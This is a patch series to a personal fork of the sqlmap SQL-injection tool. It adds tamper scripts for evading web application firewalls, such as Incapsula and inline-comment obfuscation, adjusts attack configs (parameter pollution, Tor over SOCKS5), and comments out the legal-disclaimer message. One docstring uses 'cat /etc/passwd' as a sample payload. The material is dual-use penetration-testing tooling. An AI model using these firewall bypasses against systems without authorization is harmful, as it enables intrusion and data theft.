payload[payload.find(' ') + 1:], postfix) + + return retVal From 1ccffd487659c1323ce07fc97593ef2567399988 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 6 Sep 2015 10:59:11 -0700 Subject: [PATCH 14/29] update to tamper --- tamper/mariacomment.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tamper/mariacomment.py b/tamper/mariacomment.py index 7000ad78468..a72ab19f3f3 100644 --- a/tamper/mariacomment.py +++ b/tamper/mariacomment.py @@ -42,6 +42,6 @@ def tamper(payload, **kwargs): payload = payload[:payload.find(comment)] break if ' ' in payload: - retVal = "%s /*M!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) + retVal = "%s /*M!50%s %s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal From 39deb6f1547f946d35534f4f75f3bb7b03899f1e Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 6 Sep 2015 11:08:07 -0700 Subject: [PATCH 15/29] fix --- tamper/mariacomment.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tamper/mariacomment.py b/tamper/mariacomment.py index a72ab19f3f3..f1eb55d5983 100644 --- a/tamper/mariacomment.py +++ b/tamper/mariacomment.py @@ -42,6 +42,6 @@ def tamper(payload, **kwargs): payload = payload[:payload.find(comment)] break if ' ' in payload: - retVal = "%s /*M!50%s %s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) + retVal = "%s /*M!50101 %s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) return retVal From caca2265bca7203ba23d2adb535361db45e00338 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Thu, 17 Sep 2015 01:37:30 -0700 Subject: [PATCH 16/29] added hpp for mssql conf --- sqlmap-mssql.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap-mssql.conf b/sqlmap-mssql.conf index 73d45a61387..5995d8faddb 100644 --- a/sqlmap-mssql.conf +++ b/sqlmap-mssql.conf @@ -180,7 +180,7 @@ forceSSL = False # Use HTTP parameter pollution. # Valid: True or False -hpp = False +hpp = True # Evaluate provided Python code before the request. # Example: import hashlib;id2=hashlib.md5(id).hexdigest() From 2025044afedf156b114c9871568d41fa7baf9545 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Thu, 17 Sep 2015 03:17:54 -0700 Subject: [PATCH 17/29] updates to mssql conf --- sqlmap-mssql.conf | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/sqlmap-mssql.conf b/sqlmap-mssql.conf index 5995d8faddb..2b19de0c8da 100644 --- a/sqlmap-mssql.conf +++ b/sqlmap-mssql.conf @@ -276,7 +276,7 @@ prefix = suffix = # Use given script(s) for tampering injection data. -tamper = xforwardedfor,space2comment +tamper = xforwardedfor,percentage # These options can be used to specify how to parse and compare page @@ -723,7 +723,7 @@ answers = "target testing=y,sitemap=y,further processing=Y,temporary file=Y,pass # Make a beep sound when SQL injection is found. # Valid: True or False -beep = True +beep = False # Offline WAF/IPS/IDS payload detection testing. # Valid: True or False From 87d256a9b43650d597c18d690afd99b52274228c Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 20 Sep 2015 08:03:01 -0700 Subject: [PATCH 18/29] remove percentage from mssql conf --- sqlmap-mssql.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap-mssql.conf b/sqlmap-mssql.conf index 2b19de0c8da..f5e0668f6e2 100644 --- a/sqlmap-mssql.conf +++ b/sqlmap-mssql.conf @@ -276,7 +276,7 @@ prefix = suffix = # Use given script(s) for tampering injection data. -tamper = xforwardedfor,percentage +tamper = xforwardedfor,space2comment # These options can be used to specify how to parse and compare page From 581e3123be25964cae2bbbdb43e370da047af389 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 27 Sep 2015 22:18:21 -0700 Subject: [PATCH 19/29] added \-i as identify-waf cause that shits long to type - updates to conf files --- lib/parse/cmdline.py | 2 +- sqlmap-mssql.conf => mssql.conf | 16 ++++++++++------ sqlmap-mysql.conf => mysql.conf | 16 ++++++++++------ sqlmap.conf | 2 +- 4 files changed, 22 insertions(+), 14 deletions(-) rename sqlmap-mssql.conf => mssql.conf (98%) rename sqlmap-mysql.conf => mysql.conf (98%) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b801bab95a1..da75cfb5151 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -709,7 +709,7 @@ def cmdLineParser(argv=None): miscellaneous.add_option("--gpage", dest="googlePage", type="int", help="Use Google dork results from specified page number") - miscellaneous.add_option("--identify-waf", dest="identifyWaf", + miscellaneous.add_option("-i", "--identify-waf", dest="identifyWaf", action="store_true", help="Make a thorough testing for a WAF/IPS/IDS protection") diff --git a/sqlmap-mssql.conf b/mssql.conf similarity index 98% rename from sqlmap-mssql.conf rename to mssql.conf index f5e0668f6e2..ab2aa5bf9b0 100644 --- a/sqlmap-mssql.conf +++ b/mssql.conf @@ -93,10 +93,10 @@ authType = # Syntax: username:password authCred = -# HTTP Authentication PEM private key. Useful only if the target URL requires +# HTTP Authentication PEM private/cert key file. Useful only if the target URL requires # PKI authentication and you have such data. # Syntax: key_file -authPrivate = +authFile = # Use a proxy to connect to the target URL. # Syntax: (http|https|socks4|socks5)://address:port @@ -369,7 +369,7 @@ uFrom = # Domain name used for DNS exfiltration attack # Valid: string -dnsName = +dnsName = # Resulting page URL searched for second-order response # Valid: string @@ -719,9 +719,9 @@ updateAll = False alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = "target testing=y,sitemap=y,further processing=Y,temporary file=Y,password hashes=N,crack=N" +answers = "further processing=Y,temporary file=Y,password hashes=N,crack=N" -# Make a beep sound when SQL injection is found. +# Beep on question and/or when SQL injection is found. # Valid: True or False beep = False @@ -748,7 +748,11 @@ googlePage = 1 # Make a thorough testing for a WAF/IPS/IDS protection. # Valid: True or False -identifyWaf = True +identifyWaf = False + +# Skip heuristic detection of WAF/IPS/IDS protection. +# Valid: True or False +skipWaf = False # Imitate smartphone through HTTP User-Agent header. # Valid: True or False diff --git a/sqlmap-mysql.conf b/mysql.conf similarity index 98% rename from sqlmap-mysql.conf rename to mysql.conf index 945c7a6a21a..b341513cf5b 100644 --- a/sqlmap-mysql.conf +++ b/mysql.conf @@ -93,10 +93,10 @@ authType = # Syntax: username:password authCred = -# HTTP Authentication PEM private key. Useful only if the target URL requires +# HTTP Authentication PEM private/cert key file. Useful only if the target URL requires # PKI authentication and you have such data. # Syntax: key_file -authPrivate = +authFile = # Use a proxy to connect to the target URL. # Syntax: (http|https|socks4|socks5)://address:port @@ -369,7 +369,7 @@ uFrom = # Domain name used for DNS exfiltration attack # Valid: string -dnsName = +dnsName = # Resulting page URL searched for second-order response # Valid: string @@ -719,9 +719,9 @@ updateAll = False alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = "target testing=y,sitemap=y,further processing=Y,temporary file=Y,password hashes=N,crack=N" +answers = "target testing=y,sitemap=y,further processing=y,temporary file=y,crack=n" -# Make a beep sound when SQL injection is found. +# Beep on question and/or when SQL injection is found. # Valid: True or False beep = True @@ -748,7 +748,11 @@ googlePage = 1 # Make a thorough testing for a WAF/IPS/IDS protection. # Valid: True or False -identifyWaf = True +identifyWaf = False + +# Skip heuristic detection of WAF/IPS/IDS protection. +# Valid: True or False +skipWaf = False # Imitate smartphone through HTTP User-Agent header. # Valid: True or False diff --git a/sqlmap.conf b/sqlmap.conf index 05b3edd6bf7..e0598fd8011 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -748,7 +748,7 @@ googlePage = 1 # Make a thorough testing for a WAF/IPS/IDS protection. # Valid: True or False -identifyWaf = True +identifyWaf = False # Skip heuristic detection of WAF/IPS/IDS protection. # Valid: True or False From 5f99356bf5b1b62abf1038362d0b22ea5c61a738 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Fri, 2 Oct 2015 10:06:07 -0700 Subject: [PATCH 20/29] confs --- mssql.conf | 2 +- mysql.conf | 2 +- sqlmap.conf | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/mssql.conf b/mssql.conf index ab2aa5bf9b0..e40a0127bc0 100644 --- a/mssql.conf +++ b/mssql.conf @@ -719,7 +719,7 @@ updateAll = False alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = "further processing=Y,temporary file=Y,password hashes=N,crack=N" +answers = "further processing=Y,temporary file=Y,password hashes=N,crack=N,sitemap=y" # Beep on question and/or when SQL injection is found. # Valid: True or False diff --git a/mysql.conf b/mysql.conf index b341513cf5b..6bee72927ab 100644 --- a/mysql.conf +++ b/mysql.conf @@ -719,7 +719,7 @@ updateAll = False alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = "target testing=y,sitemap=y,further processing=y,temporary file=y,crack=n" +answers = "target testing=y,sitemap=y,further processing=y,temporary file=y,crack=n,sitemap=y" # Beep on question and/or when SQL injection is found. # Valid: True or False diff --git a/sqlmap.conf b/sqlmap.conf index 17ff25b890f..ce8f8bc8b86 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -722,7 +722,7 @@ updateAll = False alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = "further processing=Y,temporary file=Y,password hashes=N,crack=N" +answers = "further processing=Y,temporary file=Y,password hashes=N,crack=N,sitemap=y" # Beep on question and/or when SQL injection is found. # Valid: True or False From 40930897742f6ea23fe778394eb9caafad8f7cff Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 1 Nov 2015 13:22:09 -0800 Subject: [PATCH 21/29] pewp --- lib/core/settings.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 187496ff896..dc78bb231db 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -36,11 +36,11 @@ /____ >__ |____/__|_| (____ / __/ \/ |__| \/ \/|__| ________ __ .__ - \______ \_/ |________|__|_____ ______ - ______ ______ | | \ __\_ __ \ \____ \\____ \ - /_____/ /_____/ | ` \ | | | \/ | |_> > |_> > - /_______ /__| |__| |__| __/| __/ - \/ |__| |__| \033[0m\033[4;37m%s\033[0m\n + \______ \_/ |________|__|_____ + ______ ______ | | \ __\_ __ \ \____ \ + /_____/ /_____/ | ` \ | | | \/ | |_> > + /_______ /__| |__| |__| __/ + \/ |__| \033[0m\033[4;37m%s\033[0m\n """ % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True From 56dca4ed169743039a026a286d784fe4797e3016 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 1 Nov 2015 13:23:51 -0800 Subject: [PATCH 22/29] faildogs --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index dc78bb231db..0b8b0345de9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -36,8 +36,8 @@ /____ >__ |____/__|_| (____ / __/ \/ |__| \/ \/|__| ________ __ .__ - \______ \_/ |________|__|_____ - ______ ______ | | \ __\_ __ \ \____ \ + \______ \_/ |________|__|_____ + ______ ______ | | \ __\_ __ \ \____ \ /_____/ /_____/ | ` \ | | | \/ | |_> > /_______ /__| |__| |__| __/ \/ |__| \033[0m\033[4;37m%s\033[0m\n From 7739128fcaa468866544ab87f04565ba88e2d72c Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 1 Nov 2015 13:25:50 -0800 Subject: [PATCH 23/29] faildogs --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0b8b0345de9..a5e6f4eaace 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -29,7 +29,7 @@ # colorful banner BANNER = """\033[01;33m - .__ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m + .__ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m ___________| | _____ _____ ______ / ___/ ____/ | / \\__ \ \____ \ \___ < <_| | |_| Y Y \/ __ \| |_> > From 69cb08786090a458b9f34b28df308ac5942d9ae6 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 5 Jun 2016 22:22:12 -0700 Subject: [PATCH 24/29] updated incapsula tamper --- mysql.conf | 2 +- sqlmap.conf | 4 ++-- tamper/incapsula.py | 20 +++++++++++++++++--- 3 files changed, 20 insertions(+), 6 deletions(-) diff --git a/mysql.conf b/mysql.conf index 6bee72927ab..a9e4663cb4b 100644 --- a/mysql.conf +++ b/mysql.conf @@ -723,7 +723,7 @@ answers = "target testing=y,sitemap=y,further processing=y,temporary file=y,crac # Beep on question and/or when SQL injection is found. # Valid: True or False -beep = True +beep = False # Offline WAF/IPS/IDS payload detection testing. # Valid: True or False diff --git a/sqlmap.conf b/sqlmap.conf index 3638703646f..4a52091c08b 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -725,11 +725,11 @@ updateAll = False alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = "further processing=Y,temporary file=Y,password hashes=N,crack=N,sitemap=y" +answers = "further processing=y,temporary file=y,password hashes=n,crack=n,sitemap=y,skip=n" # Beep on question and/or when SQL injection is found. # Valid: True or False -beep = True +beep = False # Offline WAF/IPS/IDS payload detection testing. # Valid: True or False diff --git a/tamper/incapsula.py b/tamper/incapsula.py index 5e7d07decb6..09fec815e9e 100644 --- a/tamper/incapsula.py +++ b/tamper/incapsula.py @@ -22,7 +22,21 @@ def tamper(payload, **kwargs): * Useful to bypass Incapsula application firewall >>> tamper('cat /etc/passwd') - 'cat \/etc\/passwd' + 'cat%20\/etc\/passwd' """ - - return payload.replace(" ", "%20") + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + if payload[i] == '/': + retVal += "\/" + elif payload[i] == ' ' or payload[i] == '+': + retVal += "%%%.2X" % ord(payload[i]) + else: + retVal += payload[i] + i += 1 + + return retVal From 5f69be96a0ec3dea3d6ba248110ba554890e8190 Mon Sep 17 00:00:00 2001 From: dtrip Date: Wed, 25 Jan 2017 04:21:29 -0800 Subject: [PATCH 25/29] sadded new tampe for sapce to underscore --- tamper/space2underscore.py | 45 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 tamper/space2underscore.py diff --git a/tamper/space2underscore.py b/tamper/space2underscore.py new file mode 100644 index 00000000000..c49346ffb8b --- /dev/null +++ b/tamper/space2underscore.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import random +import string + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def tamper(payload, **kwargs): + """ + Replaces space character (' ') with a dash comment ('_') ) + """ + + retVal = payload + + if payload: + retVal = "" + quote, doublequote, firstspace = False, False, False + + for i in xrange(len(payload)): + if not firstspace: + if payload[i].isspace(): + firstspace = True + retVal += "_" + continue + + elif payload[i] == '\'': + quote = not quote + + elif payload[i] == '"': + doublequote = not doublequote + + elif payload[i] == " " and not doublequote and not quote: + retVal += "_" + continue + + retVal += payload[i] + + return retVal From 43e6b009fa0d05738740fe79825d2684b7d17ffd Mon Sep 17 00:00:00 2001 From: dtrip Date: Wed, 15 Feb 2017 03:55:44 -0800 Subject: [PATCH 26/29] updated mysql and mssql conf files to match updated sqlmap.conf --- mssql.conf | 46 +++++++++++++++++++++++++++++++++++----------- mysql.conf | 50 +++++++++++++++++++++++++++++++++++++------------- 2 files changed, 72 insertions(+), 24 deletions(-) diff --git a/mssql.conf b/mssql.conf index e40a0127bc0..6bfdad3ecef 100644 --- a/mssql.conf +++ b/mssql.conf @@ -98,6 +98,22 @@ authCred = # Syntax: key_file authFile = +# Ignore HTTP Error 401 (Unauthorized). +# Valid: True or False +ignore401 = False + +# Ignore system default proxy settings. +# Valid: True or False +ignoreProxy = False + +# Ignore redirection attempts. +# Valid: True or False +ignoreRedirects = False + +# Ignore connection timeouts. +# Valid: True or False +ignoreTimeouts = False + # Use a proxy to connect to the target URL. # Syntax: (http|https|socks4|socks5)://address:port proxy = @@ -110,10 +126,6 @@ proxyCred = # Load proxy list from a file proxyFile = -# Ignore system default proxy settings. -# Valid: True or False -ignoreProxy = False - # Use Tor anonymity network. # Valid: True or False tor = False @@ -226,6 +238,9 @@ skip = # Valid: True or False skipStatic = False +# Regexp to exclude parameters from testing (e.g. "ses"). +paramExclude = + # Force back-end DBMS to this value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. @@ -482,6 +497,9 @@ col = # Back-end database management system database table column(s) to not enumerate. excludeCol = +# Pivot column name. +pivotColumn = + # Use WHERE condition while table dumping (e.g. "id=1"). dumpWhere = @@ -650,6 +668,9 @@ trafficFile = # Valid: True or False batch = True +# Result fields having binary values (e.g. "digest"). +binaryFields = + # Force character encoding used for data retrieval. charset = @@ -697,9 +718,6 @@ outputDir = # Valid: True or False parseErrors = True -# Pivot column name. -pivotColumn = - # Regular expression for filtering targets from provided Burp. # or WebScarab proxy log. # Example: (google|yahoo) @@ -708,6 +726,9 @@ scope = # Select tests by payloads and/or titles (e.g. ROW) testFilter = +# Skip tests by payloads and/or titles (e.g. BENCHMARK) +testSkip = + # Update sqlmap. # Valid: True or False updateAll = False @@ -750,10 +771,6 @@ googlePage = 1 # Valid: True or False identifyWaf = False -# Skip heuristic detection of WAF/IPS/IDS protection. -# Valid: True or False -skipWaf = False - # Imitate smartphone through HTTP User-Agent header. # Valid: True or False mobile = False @@ -766,10 +783,17 @@ offline = False # Valid: True or False pageRank = False +# Skip heuristic detection of WAF/IPS/IDS protection. +# Valid: True or False +skipWaf = False + # Conduct thorough tests only if positive heuristic(s). # Valid: True or False smart = False +# Local directory for storing temporary files. +tmpDir = + # Simple wizard interface for beginner users. # Valid: True or False wizard = False diff --git a/mysql.conf b/mysql.conf index a9e4663cb4b..274ed408522 100644 --- a/mysql.conf +++ b/mysql.conf @@ -98,6 +98,22 @@ authCred = # Syntax: key_file authFile = +# Ignore HTTP Error 401 (Unauthorized). +# Valid: True or False +ignore401 = False + +# Ignore system default proxy settings. +# Valid: True or False +ignoreProxy = False + +# Ignore redirection attempts. +# Valid: True or False +ignoreRedirects = False + +# Ignore connection timeouts. +# Valid: True or False +ignoreTimeouts = False + # Use a proxy to connect to the target URL. # Syntax: (http|https|socks4|socks5)://address:port proxy = @@ -110,10 +126,6 @@ proxyCred = # Load proxy list from a file proxyFile = -# Ignore system default proxy settings. -# Valid: True or False -ignoreProxy = False - # Use Tor anonymity network. # Valid: True or False tor = False @@ -222,10 +234,13 @@ testParameter = # Skip testing for given parameter(s). skip = -# Skip testing parameters that not appear dynamic. +# Skip testing parameters that not appear to be dynamic. # Valid: True or False skipStatic = False +# Regexp to exclude parameters from testing (e.g. "ses"). +paramExclude = + # Force back-end DBMS to this value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. @@ -369,7 +384,7 @@ uFrom = # Domain name used for DNS exfiltration attack # Valid: string -dnsName = +dnsDomain = # Resulting page URL searched for second-order response # Valid: string @@ -482,6 +497,9 @@ col = # Back-end database management system database table column(s) to not enumerate. excludeCol = +# Pivot column name. +pivotColumn = + # Use WHERE condition while table dumping (e.g. "id=1"). dumpWhere = @@ -650,6 +668,9 @@ trafficFile = # Valid: True or False batch = True +# Result fields having binary values (e.g. "digest"). +binaryFields = + # Force character encoding used for data retrieval. charset = @@ -697,9 +718,6 @@ outputDir = # Valid: True or False parseErrors = True -# Pivot column name. -pivotColumn = - # Regular expression for filtering targets from provided Burp. # or WebScarab proxy log. # Example: (google|yahoo) @@ -708,6 +726,9 @@ scope = # Select tests by payloads and/or titles (e.g. ROW) testFilter = +# Skip tests by payloads and/or titles (e.g. BENCHMARK) +testSkip = + # Update sqlmap. # Valid: True or False updateAll = False @@ -750,10 +771,6 @@ googlePage = 1 # Valid: True or False identifyWaf = False -# Skip heuristic detection of WAF/IPS/IDS protection. -# Valid: True or False -skipWaf = False - # Imitate smartphone through HTTP User-Agent header. # Valid: True or False mobile = False @@ -766,10 +783,17 @@ offline = False # Valid: True or False pageRank = False +# Skip heuristic detection of WAF/IPS/IDS protection. +# Valid: True or False +skipWaf = False + # Conduct thorough tests only if positive heuristic(s). # Valid: True or False smart = False +# Local directory for storing temporary files. +tmpDir = + # Simple wizard interface for beginner users. # Valid: True or False wizard = False From 5cb4fa21766a172c46862087cc22cc9a0a6d28f3 Mon Sep 17 00:00:00 2001 From: dtrip Date: Fri, 7 Jul 2017 08:35:31 -0700 Subject: [PATCH 27/29] updated confs --- mssql.conf | 16 +++++++++------- mysql.conf | 14 ++++++++------ 2 files changed, 17 insertions(+), 13 deletions(-) diff --git a/mssql.conf b/mssql.conf index 6bfdad3ecef..dba5cde22e3 100644 --- a/mssql.conf +++ b/mssql.conf @@ -136,7 +136,7 @@ tor = False # Set Tor proxy type. # Valid: HTTP, SOCKS4, SOCKS5 -torType = HTTP +torType = SOCKS5 # Check to see if Tor is used properly. # Valid: True or False @@ -384,7 +384,7 @@ uFrom = # Domain name used for DNS exfiltration attack # Valid: string -dnsName = +dnsDomain = # Resulting page URL searched for second-order response # Valid: string @@ -674,6 +674,9 @@ binaryFields = # Force character encoding used for data retrieval. charset = +# Check Internet connection before assessing the target. +checkInternet = False + # Crawl the website starting from the target URL. # Valid: integer # Default: 0 @@ -740,7 +743,7 @@ updateAll = False alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = "further processing=Y,temporary file=Y,password hashes=N,crack=N,sitemap=y" +answers = "further processing=y,temporary file=y,password hashes=n,crack=n,sitemap=y,skip=n" # Beep on question and/or when SQL injection is found. # Valid: True or False @@ -779,10 +782,6 @@ mobile = False # Valid: True or False offline = False -# Display page rank (PR) for Google dork results. -# Valid: True or False -pageRank = False - # Skip heuristic detection of WAF/IPS/IDS protection. # Valid: True or False skipWaf = False @@ -794,6 +793,9 @@ smart = False # Local directory for storing temporary files. tmpDir = +# Web server document root directory (e.g. "/var/www"). +webRoot = + # Simple wizard interface for beginner users. # Valid: True or False wizard = False diff --git a/mysql.conf b/mysql.conf index 274ed408522..9103eb9d900 100644 --- a/mysql.conf +++ b/mysql.conf @@ -136,7 +136,7 @@ tor = False # Set Tor proxy type. # Valid: HTTP, SOCKS4, SOCKS5 -torType = HTTP +torType = SOCKS5 # Check to see if Tor is used properly. # Valid: True or False @@ -674,6 +674,9 @@ binaryFields = # Force character encoding used for data retrieval. charset = +# Check Internet connection before assessing the target. +checkInternet = False + # Crawl the website starting from the target URL. # Valid: integer # Default: 0 @@ -740,7 +743,7 @@ updateAll = False alert = # Set question answers (e.g. "quit=N,follow=N"). -answers = "target testing=y,sitemap=y,further processing=y,temporary file=y,crack=n,sitemap=y" +answers = "further processing=y,temporary file=y,password hashes=n,crack=n,sitemap=y,skip=n" # Beep on question and/or when SQL injection is found. # Valid: True or False @@ -779,10 +782,6 @@ mobile = False # Valid: True or False offline = False -# Display page rank (PR) for Google dork results. -# Valid: True or False -pageRank = False - # Skip heuristic detection of WAF/IPS/IDS protection. # Valid: True or False skipWaf = False @@ -794,6 +793,9 @@ smart = False # Local directory for storing temporary files. tmpDir = +# Web server document root directory (e.g. "/var/www"). +webRoot = + # Simple wizard interface for beginner users. # Valid: True or False wizard = False From 2cd06968ccba2b1a39b1d79c3124492b5ec5011e Mon Sep 17 00:00:00 2001 From: dtrip Date: Wed, 4 Oct 2017 05:05:02 -0700 Subject: [PATCH 28/29] testing new tamper --- tamper/space2inlinecomment.py | 57 +++++++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 tamper/space2inlinecomment.py diff --git a/tamper/space2inlinecomment.py b/tamper/space2inlinecomment.py new file mode 100644 index 00000000000..231c177b139 --- /dev/null +++ b/tamper/space2inlinecomment.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces space character (' ') with comments '/*&id=1*/ ' + + Tested against: + * Microsoft SQL Server 2005 + * MySQL 4, 5.0 and 5.5 + * Oracle 10g + * PostgreSQL 8.3, 8.4, 9.0 + + Notes: + * Useful to bypass weak and bespoke web application firewalls + + >>> tamper('SELECT id FROM users') + 'SELECT /*&id=1*/ id /*&id=1*/ FROM /*&id=1*/ users' + """ + + retVal = payload + + if payload: + retVal = "" + quote, doublequote, firstspace = False, False, False + + for i in xrange(len(payload)): + if not firstspace: + if payload[i].isspace(): + firstspace = True + retVal += " /*&id=1*/ " + continue + + elif payload[i] == '\'': + quote = not quote + + elif payload[i] == '"': + doublequote = not doublequote + + elif payload[i] == " " and not doublequote and not quote: + retVal += " /*&id=1*/ " + continue + + retVal += payload[i] + + return retVal From de37696bfce6416b6e49158fef23b6871973a3a9 Mon Sep 17 00:00:00 2001 From: Dtrip Date: Sun, 14 Jun 2020 02:53:42 -0700 Subject: [PATCH 29/29] removed legal disclaimer --- sqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.py b/sqlmap.py index caee7d577b9..278afd00a4a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -160,7 +160,7 @@ def main(): setRestAPILog() conf.showTime = True - dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) + # dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True) dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) init()